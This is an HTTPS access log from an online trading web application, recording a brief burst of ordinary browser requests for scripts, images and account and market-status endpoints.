[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:15:34:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767944367149 HTTP/1.1" 3188
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 18
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767944367542 HTTP/1.1" 3188
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 18
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:15:34:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944367524 HTTP/1.1" -
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04_o.jpg HTTP/1.1" 3289
[09/Jan/2026:15:34:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 205
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944369101 HTTP/1.1" -
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1342
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_888888_256x240.png HTTP/1.1" 6999
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 205
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944369738 HTTP/1.1" -
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
